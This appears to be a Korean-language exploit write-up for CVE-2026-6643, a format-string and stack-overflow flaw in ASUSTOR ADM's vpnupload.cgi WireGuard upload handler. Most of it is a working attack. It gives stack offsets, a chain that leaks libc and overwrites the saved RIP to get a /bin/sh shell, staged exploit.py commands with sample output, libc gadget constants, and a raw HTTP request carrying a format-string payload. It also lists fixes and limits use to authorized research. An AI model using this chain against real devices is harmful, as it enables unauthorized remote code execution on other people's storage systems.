
ASUSTOR ADM 5.1.2 vpnupload.cgi 포맷 문자열 및 스택 버퍼 오버플로우 RCE (CVE-2026-6643)
| 필드 | 값 |
|---|
| 제품 | ASUSTOR ADM (ASUSTOR Data Master) |
| 영향을 받는 버전 | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| 구성 요소 | /portal/apis/settings/vpnupload.cgi — upload_wireguard 액션 |
| 취약점 유형 | CWE-134 포맷 문자열 / CWE-121 스택 버퍼 오버플로우 |
| 심각도 | 높음 |
| 인증 필요 | 예 (유효한 Revive_Session 쿠키) |
| 발견 날짜 | 2026-03-14 |
upload_wireguard 핸들러는 WireGuard 구성 파일을 파싱하여 필드를 JSON 객체로 조합한 다음, 그 결과를 직접 printf()의 포맷 문자열 인자로 전달합니다:
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
공격자는 WireGuard 구성 필드 어디에나 printf 형식 지정자를 삽입할 수 있습니다:
%x / %p — 스택 메모리 읽기(정보 유출)%n — 임의 메모리 쓰기(GOT 덮어쓰기를 통한 코드 실행)동일한 핸들러는 제한 없는 sscanf("%s")를 사용하여 구성 값을 300바이트 스택 버퍼로 복사하는 반면, fgets는 줄당 최대 32,768바이트를 허용합니다:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
300바이트를 초과하는 값을 입력하면 인접 버퍼로 오버플로우됩니다. 4,000바이트에서는 저장된 RIP가 손상되어 SIGSEGV가 발생합니다.
| 보호 기법 | 상태 | 영향 |
|---|---|---|
| FORTIFY_SOURCE | 비활성화 | printf(__printf_chk 아님) — %n 쓰기 동작 |
| 스택 카나리 | 비활성화 | 카나리 누출 불필요 |
| PIE | 비활성화 | GOT 및 가젯 주소가 고정됨 |
| RELRO | 부분 | GOT 쓰기 가능 |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164(Endpoint 버퍼)는 rbp-0x164에 위치하며, 8개 버퍼 중 저장된 반환 주소와 가장 가깝습니다:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s")는 null 바이트에서 복사를 중단합니다. 리틀엔디언(little-endian)의 libc 주소(0x7f...)는 두 개의 null 바이트로 끝납니다. 그러나 저장된 RIP의 상위 2바이트는 이미 0x0000을 담고 있으므로 sscanf가 일찍 종료되더라도 쓰기는 올바르게 들어갑니다:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
중간 ROP 가젯도 내장된 null 바이트를 피하기 위해 libc(0x7f... 범위)에서 가져와야 합니다. 체인의 마지막 값만 null로 끝날 수 있습니다.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
예시 출력:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
예시 출력:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
심볼을 식별하고 libc 베이스를 계산합니다:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
펌웨어 이미지에서 libc.so.6을 추출한 후 다음을 실행합니다:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
exploit.py의 상수를 업데이트하세요:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
참고: 두 개의 multipart 섹션이 필요합니다. 파서는 boundary 카운터를 사용하며,
sscanf파싱은 두 번째 섹션에서만 활성화됩니다.
응답 (clientprivatekey 필드):
AAAA_feebd19f_0000012b_0000007d_00000002
PrivateKey를 4,000바이트로 설정하면 → SIGSEGV(종료 코드 139)가 발생합니다.
| 취약점 | 수정 방법 |
|---|---|
| 포맷 문자열 | printf(pcVar2)를 printf("%s", pcVar2) 또는 fputs(pcVar2, stdout)로 교체 |
| 버퍼 오버플로우 | 모든 sscanf 포맷 문자열에 길이 제한 추가 (예: 300바이트 버퍼의 경우 %299s) |
X64_G3_5.1.2.REO1.img — 이미지에서 추출한 vpnupload.cgild-linux 및 공유 라이브러리 사용0x1224에서 1바이트 패치 je → jmp (로컬 테스트 전용)이 익스플로잇은 보안 연구 및 승인된 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.